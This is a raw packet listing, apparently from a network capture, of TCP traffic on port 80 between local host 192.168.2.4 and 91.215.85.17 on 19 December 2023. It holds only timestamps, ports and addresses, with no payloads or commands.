Dec 19, 2023 03:22:28.889292002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.889350891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.889605045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.889750004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.889810085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.889838934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.889918089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890019894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.890038967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890101910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890181065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890242100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.890358925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890448093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890511036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.890553951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890652895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890724897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.890836954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890933037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.890933990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.891043901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891093969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.891140938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891230106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891278982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.891379118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891503096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891587019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891635895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.891659975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891732931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891792059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.891836882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.891944885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892004013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892031908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892076969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892131090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892234087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892287970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892360926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892453909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892503977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892535925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892608881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892690897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892739058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892780066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892889023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.892939091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892971992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.892971992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893140078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893234015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893332005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893351078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893369913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893445015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893512011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893533945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893544912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893584967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893584967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893595934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893696070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893749952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.893822908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893903971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.893995047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894047976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894057989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894140005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894181967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894232035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894310951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894423008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894469976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894517899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894576073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894576073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894583941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894745111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894833088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.894838095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.894942999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.895015955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.895019054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.895109892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.895196915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.895245075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.896490097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.896661043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.896667004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.896754980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.896806955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.896851063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.896945000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897001028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.897044897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897197008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897387028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897428036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.897476912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897561073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897634983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897639990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.897680998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.897722006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897811890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.897881031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.897927999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898293018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898336887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.898396969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898628950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898713112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.898727894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898823023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898902893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.898976088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899008036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899123907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899166107 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899221897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899274111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899316072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899414062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899507999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899529934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899601936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899663925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899667978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899729013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899805069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899868965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.899888992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.899955988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900016069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900043011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900043964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900111914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900132895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900151968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900198936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900245905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900290966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900319099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900373936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900427103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900437117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900531054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900695086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900737047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900759935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900857925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900909901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900923967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.900969982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.900978088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901053905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901113033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.901437998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901483059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901542902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.901588917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901695967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901741028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.901803970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.901899099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902023077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902074099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902117014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902195930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902280092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902280092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902306080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902332067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902349949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902364016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902483940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902529001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902553082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902606010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902679920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.902697086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.902887106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903069019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903115034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903160095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903264046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903351068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903368950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903386116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903444052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903459072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903505087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903553009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903650999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903718948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903731108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903801918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903882027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.903896093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903920889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.903920889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904006004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904050112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904170990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904242992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904361963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904390097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904417992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904504061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904510975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904589891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904679060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904695988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904746056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904829979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904875040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904900074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.904938936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.904958010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905047894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905092955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905112982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905210972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905234098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905278921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905354977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905402899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905540943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905622959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905741930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905869007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.905914068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.905957937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906055927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906128883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906184912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906281948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906363010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906410933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906410933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906440973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906481981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906481981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906549931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906598091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906641960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906721115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906800032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.906862974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.906944990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907033920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907052994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907069921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907130003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907212973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907324076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907361031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907533884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907633066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907658100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907658100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907702923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907726049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907748938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907799006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907844067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.907886982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.907975912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908018112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908066034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908144951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908152103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908236027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908288956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908288956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908343077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908416986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908488035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908492088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908585072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908668995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908709049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908760071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908848047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.908849001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908849001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908865929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.908926964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909003973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909075022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909228086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909321070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909358978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909392118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909430027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909430027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909491062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909580946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909621954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909650087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909713984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909755945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.909832954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.909921885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910000086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910101891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910125971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.910296917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910361052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.910382032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910425901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.910485029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910567045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910610914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.910664082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910712957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910769939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910795927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.910840988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.910938025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911000013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911007881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.911066055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911109924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.911128044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911184072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911187887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.911231041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911278963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.911322117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911614895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911673069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.911691904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.911973953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.912071943 CET	80	49738	91.215.85.17	192.168.2.4
